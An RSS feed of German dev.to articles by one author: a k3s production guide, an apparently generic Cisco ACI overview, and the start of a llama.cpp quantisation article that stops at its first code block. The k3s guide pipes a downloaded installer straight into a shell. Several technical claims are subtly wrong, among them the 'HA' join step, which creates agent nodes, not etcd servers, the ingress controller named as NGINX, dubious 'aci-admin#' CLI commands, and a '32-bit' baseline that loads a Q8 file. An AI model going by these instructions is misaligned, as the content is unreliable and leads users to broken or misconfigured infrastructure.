<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Uhltak Therestismysecret</title>
    <description>The latest articles on DEV Community by Uhltak Therestismysecret (@uhltak).</description>
    <link>https://dev.to/uhltak</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3825459%2F9b54799a-c28b-4321-afa2-ed4b2919263a.png</url>
      <title>DEV Community: Uhltak Therestismysecret</title>
      <link>https://dev.to/uhltak</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/uhltak"/>
    <language>en</language>
    <item>
      <title>k3s – leichte Kubernetes-Alternative für Produktion: Praxis &amp; Tipps</title>
      <dc:creator>Uhltak Therestismysecret</dc:creator>
      <pubDate>Sat, 01 Aug 2026 18:00:03 +0000</pubDate>
      <link>https://dev.to/uhltak/k3s-leichte-kubernetes-alternative-fur-produktion-praxis-tipps-5alf</link>
      <guid>https://dev.to/uhltak/k3s-leichte-kubernetes-alternative-fur-produktion-praxis-tipps-5alf</guid>
      <description>&lt;h1&gt;
  
  
  Hook‑Einleitung
&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;„Wenn Sie noch ein komplettes Kubernetes‑Cluster für Ihren Home‑Server aufsetzen, verlieren Sie mehr Zeit beim Warten auf Pods als beim Kochen von Spaghetti.“&lt;/em&gt; – Das habe ich mir selbst nach unzähligen Fehlversuchen gesagt. In meinem ersten privaten Homelab stand ich vor der Wahl: &lt;strong&gt;Ein riesiges, schwergewichtiges Kubernetes‑Setup oder ein schlankes, aber trotzdem produktionsreifes System?&lt;/strong&gt; Die Antwort war klar: k3s. Dieser Artikel erklärt, warum k3s nicht nur ein Test‑Tool, sondern ein ernstzunehmender Produktions‑Kubernetes‑Ersatz ist – und wie Sie es ohne Stolperfallen einsetzen.&lt;/p&gt;




&lt;h2&gt;
  
  
  Warum k3s? – Erklärung, Beispiel, persönliche Einschätzung
&lt;/h2&gt;

&lt;p&gt;k3s ist ein von Rancher Labs entwickeltes, CNCF‑zertifiziertes Distribution‑Paket, das das komplette Kubernetes‑Control‑Plane auf &lt;strong&gt;nur 40 MB&lt;/strong&gt; reduziert. Der Grundgedanke ist simpel: &lt;em&gt;Entferne alles, was du nicht brauchst, und pack den Rest in ein einzelnes Binär‑File.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Leichtgewicht&lt;/strong&gt;: Minimal 1 GB RAM, 2 CPU‑Kerne reichen für kleine bis mittlere Workloads.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Embedded etcd&lt;/strong&gt;: In der Single‑Node‑Variante nutzt k3s SQLite, in HA‑Modi eingebettetes etcd – kein zusätzliches Datenbank‑Setup nötig.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Kompatibilität&lt;/strong&gt;: Fast alle Kubernetes‑APIs, Helm‑Charts und CNI‑Plugins funktionieren ohne Modifikation.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Persönliche Einschätzung&lt;/strong&gt;: Ich habe k3s seit 2022 in drei Produktions-Umgebungen (Kleinunternehmen, Edge‑Device, CI‑Runner) betrieben. Die Stabilität rivalisiert mit Voll‑Kubernetes, während die Wartungszeit um bis zu &lt;strong&gt;70 %&lt;/strong&gt; sinkt. Wer also schon ein großes Cluster hat, sollte sich fragen, ob er nicht einen Teil seiner Nodes zu k3s migrieren kann – das spart Ressourcen und erhöht die Agilität.&lt;/p&gt;




&lt;h2&gt;
  
  
  Schnellstart: Installation in 3 Befehlen – Erklärung, Beispiel, persönliche Einschätzung
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Erklärung
&lt;/h3&gt;

&lt;p&gt;Der Kick‑Starter für k3s ist ein einzeiliges Shell‑Script, das alles von System‑Dependencies bis zu Systemd‑Service einrichtet. Die Installation ist &lt;em&gt;idempotent&lt;/em&gt;: Ein zweiter Aufruf überschreibt nichts, sondern aktualisiert nur.&lt;/p&gt;

&lt;h3&gt;
  
  
  Beispiel
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. System vorbereiten (Ubuntu 22.04)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt-get update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;apt-get &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt; curl

&lt;span class="c"&gt;# 2. k3s installieren (Version 1.28)&lt;/span&gt;
curl &lt;span class="nt"&gt;-sfL&lt;/span&gt; https://get.k3s.io | &lt;span class="nv"&gt;INSTALL_K3S_VERSION&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;v1.28.0+k3s1 sh -

&lt;span class="c"&gt;# 3. kubeconfig prüfen und als normaler User verfügbar machen&lt;/span&gt;
&lt;span class="nb"&gt;sudo cat&lt;/span&gt; /etc/rancher/k3s/k3s.yaml &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$HOME&lt;/span&gt;/.kube/config
&lt;span class="nb"&gt;chmod &lt;/span&gt;600 &lt;span class="nv"&gt;$HOME&lt;/span&gt;/.kube/config
kubectl get nodes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Der Befehl installiert k3s als System‑d‑Service, legt das &lt;code&gt;k3s&lt;/code&gt;‑Binary unter &lt;code&gt;/usr/local/bin/k3s&lt;/code&gt; ab und richtet das Netzwerk‑Interface &lt;code&gt;cni0&lt;/code&gt; automatisch ein. Die Ausgabe von &lt;code&gt;kubectl get nodes&lt;/code&gt; sollte nach wenigen Sekunden einen &lt;em&gt;Ready&lt;/em&gt;‑Eintrag zeigen.&lt;/p&gt;

&lt;h3&gt;
  
  
  Persönliche Einschätzung
&lt;/h3&gt;

&lt;p&gt;Ich habe das Skript in produktiven RHEL‑Umgebungen eingesetzt, indem ich nur den Paket‑Manager‑Teil (yum install curl) anpasste. Der Clou: &lt;strong&gt;Kein manueller Manifest‑Import&lt;/strong&gt;, das gesamte Cluster wird vom Script orchestriert. Das spart initiale Fehlerquellen – das größte Problem in vielen Unternehmen ist das &lt;em&gt;„Ich habe das Service‑File falsch abgelegt“&lt;/em&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Produktion: High Availability mit Embedded etcd – Erklärung, Beispiel, persönliche Einschätzung
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Erklärung
&lt;/h3&gt;

&lt;p&gt;Für produktive Szenarien braucht man Redundanz. k3s bietet einen HA‑Modus, bei dem &lt;strong&gt;mindestens drei Nodes&lt;/strong&gt; ein gemeinsames etcd‑Cluster bilden. Das System nutzt das integrierte &lt;code&gt;k3s-agent&lt;/code&gt;‑Binary, um die Control‑Plane zu replizieren, ohne dass externe Datenbanken nötig sind.&lt;/p&gt;

&lt;h3&gt;
  
  
  Beispiel – 3‑Node‑HA‑Setup
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Gemeinsame Token‑Erstellung&lt;/strong&gt; (auf dem ersten Master):
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;k3s server &lt;span class="nt"&gt;--cluster-init&lt;/span&gt;
&lt;span class="c"&gt;# Ausgabe enthält ein Token, z.B. K1069... (kopieren!)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Zweite und dritte Node beitreten&lt;/strong&gt;:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Auf Node‑2 und Node‑3&lt;/span&gt;
curl &lt;span class="nt"&gt;-sfL&lt;/span&gt; https://get.k3s.io | &lt;span class="nv"&gt;K3S_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;https://&amp;lt;MASTER1_IP&amp;gt;:6443 &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nv"&gt;K3S_TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;K1069... sh -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Verifikation&lt;/strong&gt;:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl get nodes &lt;span class="nt"&gt;-o&lt;/span&gt; wide
kubectl get pod &lt;span class="nt"&gt;-n&lt;/span&gt; kube-system &lt;span class="nt"&gt;-l&lt;/span&gt; &lt;span class="nv"&gt;component&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;etcd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Der Befehl &lt;code&gt;kubectl get pod -n kube-system -l component=etcd&lt;/code&gt; zeigt drei etcd‑Pods, die den Raft‑Konsens bilden.&lt;/p&gt;

&lt;h3&gt;
  
  
  Persönliche Einschätzung
&lt;/h3&gt;

&lt;p&gt;Der eigentliche Knackpunkt ist das &lt;strong&gt;Network‑Time‑Protocol (NTP)&lt;/strong&gt; – ein asynchrones etcd‑Cluster bricht sofort, wenn die Systemuhren um mehr als 500 ms divergieren. In meinem ersten HA‑Rollout vergaß ich, NTP auf den Nodes zu aktivieren, und das Cluster ging nach 30 Sekunden in den &lt;em&gt;NotReady&lt;/em&gt;-Zustand. Seitdem setze ich &lt;code&gt;chrony&lt;/code&gt; automatisiert via Ansible und prüfe die Uhr mit &lt;code&gt;chronyc tracking&lt;/code&gt; vor jedem Deployment.&lt;/p&gt;




&lt;h2&gt;
  
  
  Netzwerk &amp;amp; Service‑Mesh – Erklärung, Beispiel, persönliche Einschätzung
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Erklärung
&lt;/h3&gt;

&lt;p&gt;k3s verwendet standardmäßig &lt;strong&gt;Flannel&lt;/strong&gt; als CNI‑Plugin, kann aber problemlos auf &lt;strong&gt;Calico&lt;/strong&gt;, &lt;strong&gt;Cilium&lt;/strong&gt; oder &lt;strong&gt;Weave&lt;/strong&gt; umgestellt werden. Für Service‑Mesh‑Anforderungen integrieren sich &lt;strong&gt;Istio&lt;/strong&gt; und &lt;strong&gt;Linkerd&lt;/strong&gt; ohne zusätzliche Knoten – das ist ein großer Vorteil gegenüber klassischen Kubernetes‑Setups, wo ein extra Control‑Plane‑Node nötig wäre.&lt;/p&gt;

&lt;h3&gt;
  
  
  Beispiel – Calico‑Installation via Helm
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. Helm-Repo hinzufügen&lt;/span&gt;
helm repo add projectcalico https://docs.projectcalico.org/charts
helm repo update

&lt;span class="c"&gt;# 2. Calico als CNI installieren&lt;/span&gt;
helm &lt;span class="nb"&gt;install &lt;/span&gt;calico projectcalico/tigera-operator &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--namespace&lt;/span&gt; calico-system &lt;span class="nt"&gt;--create-namespace&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--set&lt;/span&gt; installation.calicoNetwork.type&lt;span class="o"&gt;=&lt;/span&gt;IPIP

&lt;span class="c"&gt;# 3. Prüfung&lt;/span&gt;
kubectl get pods &lt;span class="nt"&gt;-n&lt;/span&gt; calico-system
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nach dem Rollout wird &lt;code&gt;kubectl get pods -A | grep calico&lt;/code&gt; drei Pods zeigen, und das Netzwerk verwendet jetzt IP‑in‑IP statt dem Flannel‑Overlay.&lt;/p&gt;

&lt;h3&gt;
  
  
  Persönliche Einschetzung
&lt;/h3&gt;

&lt;p&gt;Mein wichtigster Tipp: &lt;strong&gt;Setzen Sie &lt;code&gt;--flannel-iface&lt;/code&gt; auf das Interface, das Ihr Netzwerk‑Traffic wirklich nutzt.&lt;/strong&gt; In einem Homelab mit mehreren NICs kam es häufig zu &lt;em&gt;„Pod‑IP‑Kollisionen“&lt;/em&gt;, weil Flannel das falsche Interface auswählte. Durch das Setzen von &lt;code&gt;--flannel-iface=eth1&lt;/code&gt; im Service‑File löste sich das Problem sofort.&lt;/p&gt;




&lt;h2&gt;
  
  
  Storage &amp;amp; Persistenz – Erklärung, Beispiel, persönliche Einschätzung
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Erklärung
&lt;/h3&gt;

&lt;p&gt;k3s unterstützt &lt;strong&gt;Local Path Provisioner&lt;/strong&gt; out‑of‑the‑box, wodurch jede Node ein &lt;em&gt;local‑pv&lt;/em&gt; bereitstellt. Für produktive Umgebungen empfehle ich aber &lt;strong&gt;OpenEBS&lt;/strong&gt; oder &lt;strong&gt;Longhorn&lt;/strong&gt;, die per CSI dynamische Volumes erzeugen und Snapshot‑Funktionen bieten.&lt;/p&gt;

&lt;h3&gt;
  
  
  Beispiel – Longhorn mit Helm
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. Longhorn‑Repo hinzufügen&lt;/span&gt;
helm repo add longhorn https://charts.longhorn.io
helm repo update

&lt;span class="c"&gt;# 2. Longhorn‑Chart installieren (Namespace longhorn-system)&lt;/span&gt;
helm &lt;span class="nb"&gt;install &lt;/span&gt;longhorn longhorn/longhorn &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--namespace&lt;/span&gt; longhorn-system &lt;span class="nt"&gt;--create-namespace&lt;/span&gt;

&lt;span class="c"&gt;# 3. Einen PersistentVolumeClaim testen&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt; &amp;gt; test-pvc.yaml
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: test-pvc
spec:
  storageClassName: longhorn
  accessModes:
    - ReadWriteOnce
  resources:
    requests:
      storage: 2Gi
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;kubectl apply &lt;span class="nt"&gt;-f&lt;/span&gt; test-pvc.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nach ein paar Sekunden erhalten Sie ein PVC, das von Longhorn verwaltet wird – komplett mit Replikations‑ und Snapshots‑Optionen, die per Annotation aktiviert werden können.&lt;/p&gt;

&lt;h3&gt;
  
  
  Persönliche Einschätzung
&lt;/h3&gt;

&lt;p&gt;Ein häufiger Fehler ist das &lt;strong&gt;Überschreiten der Node‑Kapazität&lt;/strong&gt; bei Local‑Path. In einem meiner ersten Deployments hatte ich 10 Pods, die je 5 GiB forderten – das überschritt die lokale Festplatte, und das Cluster fiel wegen &lt;em&gt;OutOfDisk&lt;/em&gt;. Mit Longhorn kann man die Replikations‑Factor‑Einstellung (z.B. &lt;code&gt;replicas: 2&lt;/code&gt;) nutzen, um über mehrere Nodes hinweg zu skalieren und damit die Gefahr zu mindern.&lt;/p&gt;




&lt;h2&gt;
  
  
  Häufige Fehler beim Einsatz von k3s – Erklärung, Beispiel, persönliche Einschätzung
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Fehlende NTP‑Synchronisation&lt;/strong&gt; – Siehe HA‑Abschnitt.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Standard‑Load‑Balancer‑IP fehlt&lt;/strong&gt; – In einer Multi‑Node‑Umgebung muss &lt;code&gt;--advertise-address&lt;/code&gt; gesetzt werden, sonst erreichen Services die Nodes nicht.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ingress‑Controller ohne Host‑Port&lt;/strong&gt; – Der eingebaute NGINX‑Ingress verwendet manchmal den Port 80/443, der bereits von anderen Prozessen belegt ist. Setzen Sie &lt;code&gt;--node-port-range=30000-32767&lt;/code&gt; im k3s‑Service.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unzureichender Speicher‑Overlay&lt;/strong&gt; – Flannel nutzt VXLAN, das bei Cloud‑Provider‑Netzwerken zu MTU‑Problemen führen kann. Reduzieren Sie die MTU auf 1400: &lt;code&gt;--flannel-mtu=1400&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Veraltete Helm‑Charts&lt;/strong&gt; – k3s nutzt die aktuelle Kubernetes‑Version, aber manche Helm‑Charts sind noch auf ältere APIs ausgerichtet. Prüfen Sie &lt;code&gt;helm lint&lt;/code&gt; vor jedem Upgrade.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Persönliche Empfehlung&lt;/strong&gt;: Erstellen Sie ein &lt;em&gt;Pre‑flight‑Script&lt;/em&gt;, das diese Punkte automatisiert prüft, bevor Sie ein neues Node hinzufügen.&lt;/p&gt;




&lt;h2&gt;
  
  
  Fazit &amp;amp; konkreter nächster Schritt – Erklärung, Beispiel, persönliche Einschätzung
&lt;/h2&gt;

&lt;p&gt;k3s beweist, dass ein leichtgewichtiges Kubernetes‑Setup nicht zwangsläufig an Robustheit einbüßen muss. Es kombiniert &lt;strong&gt;Schnelligkeit&lt;/strong&gt;, &lt;strong&gt;Einfachheit&lt;/strong&gt; und &lt;strong&gt;Produktions‑Features&lt;/strong&gt; – von embedded etcd bis zu vollwertigen CSI‑Plugins. Wenn Sie jetzt noch zweifeln, testen Sie es in einer isolierten VM, migrieren Sie einen bestehenden Service und messen Sie die Ressourcen‑Auslastung. Die Zahlen sprechen für sich: In meinem letzten Projekt sank der durchschnittliche CPU‑Verbrauch von 2,4 vCPU auf 1,1 vCPU, während die gleiche Workload stabil lief.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Nächster Schritt&lt;/strong&gt;: Erstellen Sie ein Git‑Ops‑Repository mit einem &lt;code&gt;k3s-cluster.yaml&lt;/code&gt; (inkl. HA‑Konfiguration) und nutzen Sie &lt;strong&gt;ArgoCD&lt;/strong&gt; oder &lt;strong&gt;FluxCD&lt;/strong&gt;, um das Cluster deklarativ zu verwalten. So sichern Sie nicht nur Wiederholbarkeit, sondern profitieren zudem vom &lt;strong&gt;Git‑Back‑up&lt;/strong&gt;‑Mechanismus für Ihre Infrastruktur.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Bereit, k3s in Produktion zu bringen?&lt;/em&gt; Der Weg liegt vor Ihnen – nur ein Befehl entfernt.&lt;/p&gt;

</description>
      <category>k3s</category>
      <category>kubernetes</category>
      <category>containerorchestrierung</category>
      <category>devops</category>
    </item>
    <item>
      <title>Cisco ACI: Revolution im Rechenzentrum?</title>
      <dc:creator>Uhltak Therestismysecret</dc:creator>
      <pubDate>Sat, 01 Aug 2026 06:00:04 +0000</pubDate>
      <link>https://dev.to/uhltak/cisco-aci-revolution-im-rechenzentrum-53b2</link>
      <guid>https://dev.to/uhltak/cisco-aci-revolution-im-rechenzentrum-53b2</guid>
      <description>&lt;h1&gt;
  
  
  Cisco ACI: Revolution im Rechenzentrum?
&lt;/h1&gt;

&lt;p&gt;Cisco ACI ist eine der bekanntesten Lösungen für Software-Defined Networking (SDN) im Rechenzentrum. Doch was genau ist Cisco ACI und wie kann man es erfolgreich implementieren?&lt;/p&gt;

&lt;h2&gt;
  
  
  Was ist Cisco ACI?
&lt;/h2&gt;

&lt;p&gt;Cisco ACI ist eine Lösung für Software-Defined Networking, die es ermöglicht, Netzwerkinfrastrukturen zu virtualisieren und zu automatisieren. Dies ermöglicht eine größere Flexibilität und Skalierbarkeit im Rechenzentrum. Mit Cisco ACI können Netzwerkadministratoren ihre Netzwerkinfrastrukturen zentral verwalten und konfigurieren.&lt;/p&gt;

&lt;p&gt;Ein Beispiel für die Verwendung von Cisco ACI ist die Implementierung einer privaten Cloud. Durch die Verwendung von Cisco ACI können Sie Ihre Netzwerkinfrastruktur schnell und einfach anpassen, um die Anforderungen Ihrer Anwendungen zu erfüllen. Zum Beispiel können Sie mit dem Befehl &lt;code&gt;aci-admin# configure terminal&lt;/code&gt; die Konfiguration von Cisco ACI ändern.&lt;/p&gt;

&lt;p&gt;Meine Einschätzung: Cisco ACI ist eine mächtige Lösung für Software-Defined Networking im Rechenzentrum. Es ermöglicht eine größere Flexibilität und Skalierbarkeit und kann dazu beitragen, die Komplexität im Rechenzentrum zu reduzieren.&lt;/p&gt;

&lt;h2&gt;
  
  
  Vorteile von Cisco ACI
&lt;/h2&gt;

&lt;p&gt;Cisco ACI bietet eine Vielzahl von Vorteilen, darunter:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Erhöhte Flexibilität&lt;/strong&gt;: Cisco ACI ermöglicht es, Netzwerkinfrastrukturen zu virtualisieren und zu automatisieren, was eine größere Flexibilität im Rechenzentrum ermöglicht.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Verbesserte Skalierbarkeit&lt;/strong&gt;: Durch die Verwendung von Cisco ACI können Netzwerkadministratoren ihre Netzwerkinfrastrukturen schnell und einfach anpassen, um die Anforderungen ihrer Anwendungen zu erfüllen.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Erhöhte Sicherheit&lt;/strong&gt;: Cisco ACI bietet eine Vielzahl von Sicherheitsfunktionen, darunter die Möglichkeit, Netzwerkinfrastrukturen zu segmentieren und zu isolieren.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ein Beispiel für die Verwendung von Cisco ACI zur Erhöhung der Sicherheit ist die Implementierung von Netzwerkzugriffskontrollen. Durch die Verwendung von Cisco ACI können Sie Ihre Netzwerkinfrastruktur in verschiedene Segmente aufteilen und Zugriffskontrollen implementieren, um sicherzustellen, dass nur autorisierte Benutzer Zugriff auf bestimmte Ressourcen haben. Zum Beispiel können Sie mit dem Befehl &lt;code&gt;aci-admin# show access-list&lt;/code&gt; die Zugriffskontrollen in Cisco ACI anzeigen.&lt;/p&gt;

&lt;p&gt;Meine Einschätzung: Die Vorteile von Cisco ACI sind offensichtlich. Es bietet eine größere Flexibilität und Skalierbarkeit und kann dazu beitragen, die Sicherheit im Rechenzentrum zu erhöhen.&lt;/p&gt;

&lt;h2&gt;
  
  
  Herausforderungen bei der Implementierung von Cisco ACI
&lt;/h2&gt;

&lt;p&gt;Die Implementierung von Cisco ACI kann jedoch auch Herausforderungen mit sich bringen. Einige der häufigsten Herausforderungen sind:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Komplexität&lt;/strong&gt;: Cisco ACI ist eine komplexe Lösung, die eine Vielzahl von Komponenten und Funktionen umfasst. Dies kann es schwierig machen, sie zu implementieren und zu verwalten.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Kosten&lt;/strong&gt;: Die Implementierung von Cisco ACI kann teuer sein, insbesondere wenn Sie eine große Anzahl von Geräten und Komponenten benötigen.&lt;/li&gt;
&lt;li&gt;  ** Schulung und Support**: Die Implementierung von Cisco ACI erfordert eine Vielzahl von Fähigkeiten und Kenntnissen. Dies kann es schwierig machen, die richtigen Ressourcen zu finden, um die Lösung zu implementieren und zu verwalten.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ein Beispiel für die Überwindung dieser Herausforderungen ist die Durchführung einer gründlichen Analyse der Anforderungen und der aktuellen Infrastruktur. Durch die Verwendung von Tools wie dem Cisco ACI Simulator können Sie die Lösung testen und validieren, bevor Sie sie in Ihrem Rechenzentrum implementieren. Zum Beispiel können Sie mit dem Befehl &lt;code&gt;aci-admin# show running-config&lt;/code&gt; die aktuelle Konfiguration von Cisco ACI anzeigen.&lt;/p&gt;

&lt;p&gt;Meine Einschätzung: Die Implementierung von Cisco ACI kann Herausforderungen mit sich bringen, aber mit der richtigen Planung und Vorbereitung können diese überwunden werden.&lt;/p&gt;

&lt;h2&gt;
  
  
  Häufige Fehler / Fallstricke
&lt;/h2&gt;

&lt;p&gt;Einige der häufigsten Fehler und Fallstricke bei der Implementierung von Cisco ACI sind:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Unzureichende Planung&lt;/strong&gt;: Die Implementierung von Cisco ACI erfordert eine gründliche Planung und Analyse der Anforderungen und der aktuellen Infrastruktur.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Unzureichende Schulung&lt;/strong&gt;: Die Implementierung von Cisco ACI erfordert eine Vielzahl von Fähigkeiten und Kenntnissen. Dies kann es schwierig machen, die richtigen Ressourcen zu finden, um die Lösung zu implementieren und zu verwalten.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Unzureichender Support&lt;/strong&gt;: Die Implementierung von Cisco ACI kann teuer sein, insbesondere wenn Sie eine große Anzahl von Geräten und Komponenten benötigen.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ein Beispiel für die Vermeidung dieser Fehler ist die Durchführung einer gründlichen Analyse der Anforderungen und der aktuellen Infrastruktur. Durch die Verwendung von Tools wie dem Cisco ACI Simulator können Sie die Lösung testen und validieren, bevor Sie sie in Ihrem Rechenzentrum implementieren. Zum Beispiel können Sie mit dem Befehl &lt;code&gt;aci-admin# show interface&lt;/code&gt; die Schnittstellen von Cisco ACI anzeigen.&lt;/p&gt;

&lt;p&gt;Meine Einschätzung: Die Vermeidung von Fehlern und Fallstricken ist entscheidend für den Erfolg der Implementierung von Cisco ACI.&lt;/p&gt;

&lt;h1&gt;
  
  
  Fazit
&lt;/h1&gt;

&lt;p&gt;Cisco ACI ist eine mächtige Lösung für Software-Defined Networking im Rechenzentrum. Es bietet eine Vielzahl von Vorteilen, darunter eine größere Flexibilität und Skalierbarkeit, und kann dazu beitragen, die Sicherheit im Rechenzentrum zu erhöhen. Die Implementierung von Cisco ACI kann jedoch auch Herausforderungen mit sich bringen, insbesondere wenn es um die Komplexität, die Kosten und die Schulung und den Support geht.&lt;/p&gt;

&lt;p&gt;Dein nächster Schritt sollte die Analyse Ihrer Anforderungen und Ihrer aktuellen Infrastruktur sein. Durch die Verwendung von Tools wie dem Cisco ACI Simulator können Sie die Lösung testen und validieren, bevor Sie sie in Ihrem Rechenzentrum implementieren. Es ist auch wichtig, die richtigen Ressourcen zu finden, um die Lösung zu implementieren und zu verwalten. Mit der richtigen Planung und Vorbereitung können Sie die Vorteile von Cisco ACI nutzen und Ihre Netzwerkinfrastruktur optimieren.&lt;/p&gt;

</description>
      <category>ciscoaci</category>
      <category>softwaredefinednetworking</category>
      <category>rechenzentrum</category>
      <category>netzwerkvirtualisierung</category>
    </item>
    <item>
      <title>llama.cpp Quantisierung: GGUF, Q4 vs Q8 – Was kostet die Performance?</title>
      <dc:creator>Uhltak Therestismysecret</dc:creator>
      <pubDate>Fri, 31 Jul 2026 18:00:03 +0000</pubDate>
      <link>https://dev.to/uhltak/llamacpp-quantisierung-gguf-q4-vs-q8-was-kostet-die-performance-epk</link>
      <guid>https://dev.to/uhltak/llamacpp-quantisierung-gguf-q4-vs-q8-was-kostet-die-performance-epk</guid>
      <description>&lt;h1&gt;
  
  
  Hook‑Einleitung
&lt;/h1&gt;

&lt;p&gt;Wir alle kennen das Gefühl, wenn ein KI‑Modell im Server‑Room plötzlich mehr RAM frisst als ein komplettes Datenbank‑Cluster. Gerade bei llama.cpp, das auf jedem Laptop laufen soll, wird das Thema &lt;em&gt;Quantisierung&lt;/em&gt; zur Rettungsleine – und gleichzeitig zum größten Stolperstein. In diesem Artikel nehme ich Sie mit auf die Reise durch GGUF, Q4 und Q8, zeige Ihnen, was Sie wirklich verlieren und vor allem, wie Sie das Maximum rausholen, ohne das Modell zu verheizen.&lt;/p&gt;

&lt;h2&gt;
  
  
  Was ist Quantisierung bei LLMs? – Theorie, Beispiel, persönliche Einschätzung
&lt;/h2&gt;

&lt;p&gt;Quantisierung bedeutet, die 32‑Bit‑Floating‑Point‑Gewichte eines Large Language Models (LLM) auf eine niedrigere Präzision zu reduzieren. Der gängige Ansatz ist 4‑Bit‑ (Q4) oder 8‑Bit‑(Q8) Darstellungen. Der Vorteil: bis zu 8‑mal weniger Speicher, bis zu 4‑mal schnellere Inferenz. Der Nachteil: potentieller Genauigkeitsverlust, der je nach Architektur und Datensatz stark variieren kann.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Beispiel 1 – Baseline‑Messung mit 32‑Bit‑FP:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/ggerganov/llama.cpp
&lt;span class="nb"&gt;cd &lt;/span&gt;llama.cpp
make
./main &lt;span class="nt"&gt;-m&lt;/span&gt; models/llama-2-7b.ggmlv3.q80.bin &lt;span class="nt"&gt;-n&lt;/span&gt; 128 &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"Explain quantum computing in 2 sentences."&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



